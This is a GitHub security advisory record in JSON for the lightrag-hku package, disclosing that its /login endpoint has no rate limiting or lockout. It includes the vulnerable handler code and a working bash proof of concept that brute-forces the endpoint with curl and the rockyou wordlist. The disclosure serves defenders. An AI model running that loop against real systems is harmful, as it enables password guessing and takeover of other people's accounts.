{"id":"GHSA-frch-4w6v-q5xx","summary":"lightrag-hku: No Rate Limiting on /login Endpoint Allows Brute-Force Attacks","details":"### Summary\nThe POST /login endpoint has no rate limiting, account lockout, or delay on failed attempts. An attacker can submit unlimited password guesses at full network speed.\n\n### Details\n\n```python\n# lightrag/api/lightrag_server.py:2161\n@app.post(\"/login\")\nasync def login(form_data: OAuth2PasswordRequestForm = Depends()):\n    if not auth_handler.verify_password(username, form_data.password):\n        raise HTTPException(status_code=401, detail=\"Incorrect credentials\")\n    # No: rate limit / lockout / backoff / CAPTCHA / attempt counter\n```\n\nA search for slowapi, rate_limit, lockout, or throttle in lightrag/api/ returns zero results.\n\n### PoC\n\n```bash\n# Brute-force /login with a wordlist, no throttling\nwhile IFS= read -r pass; do\n  code=$(curl -s -o /dev/null -w \"%{http_code}\" \\\n    -X POST http://\u003cTARGET\u003e:9621/login \\\n    -d \"username=admin&password=${pass}\")\n  [ \"$code\" = \"200\" ] && echo \"[FOUND] $pass\" && break\ndone \u003c /usr/share/wordlists/rockyou.txt\n```\n\n### Impact\nImproper restriction of authentication attempts. Any network-reachable attacker can brute-force user passwords without restriction. Once credentials are recovered, the attacker gains full authenticated access to all documents, knowledge graph, and administrative operations.","aliases":["CVE-2026-85734","PYSEC-2026-4062"],"modified":"2026-10-01T17:55:39.683223237Z","published":"2026-09-22T20:40:22Z","database_specific":{"severity":"CRITICAL","github_reviewed":true,"github_reviewed_at":"2026-09-22T20:40:22Z","nvd_published_at":"2026-09-22T17:17:27Z","cwe_ids":["CWE-307"]},"references":[{"type":"WEB","url":"https://github.com/HKUDS/LightRAG/security/advisories/GHSA-frch-4w6v-q5xx"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85734"},{"type":"WEB","url":"https://github.com/HKUDS/LightRAG/pull/3424"},{"type":"WEB","url":"https://github.com/HKUDS/LightRAG/commit/135bc9056e9ecd800c1abe2f2ce24d1a86622a54"},{"type":"PACKAGE","url":"https://github.com/HKUDS/LightRAG"},{"type":"WEB","url":"https://github.com/HKUDS/LightRAG/releases/tag/v1.5.5"}],"affected":[{"package":{"name":"lightrag-hku","ecosystem":"PyPI","purl":"pkg:pypi/lightrag-hku"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.5.5"}]}],"versions":["0.0.2","0.0.3","0.0.4","0.0.5","0.0.6","0.0.7","0.0.8","0.0.9","1.0.0","1.0.1","1.0.3","1.0.5","1.0.6","1.0.8","1.0.9","1.1.0","1.1.1","1.1.2","1.1.3","1.1.4","1.1.5","1.1.6","1.1.7","1.2.1","1.2.2","1.2.3","1.2.5","1.2.6","1.3.0","1.3.1","1.3.2","1.3.3","1.3.4","1.3.5","1.3.6","1.3.7","1.3.8","1.3.9","1.4.0","1.4.1","1.4.10","1.4.11","1.4.11rc2","1.4.12","1.4.12rc1","1.4.13","1.4.13rc1","1.4.14","1.4.15","1.4.16","1.4.2","1.4.3","1.4.4","1.4.5","1.4.6","1.4.7","1.4.8.1","1.4.8.2","1.4.8rc4","1.4.8rc6","1.4.8rc7","1.4.8rc8","1.4.8rc9","1.4.9","1.4.9.1","1.4.9.10","1.4.9.11","1.4.9.2","1.4.9.3","1.4.9.4","1.4.9.4rc1","1.4.9.5","1.4.9.6","1.4.9.7","1.4.9.8","1.4.9.9","1.4.9rc1","1.4.9rc2","1.4.9rc3","1.4.9rc4","1.5.0","1.5.0rc1","1.5.0rc2","1.5.0rc3","1.5.1","1.5.2","1.5.3","1.5.4","1.5.5rc1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-frch-4w6v-q5xx/GHSA-frch-4w6v-q5xx.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N"}]}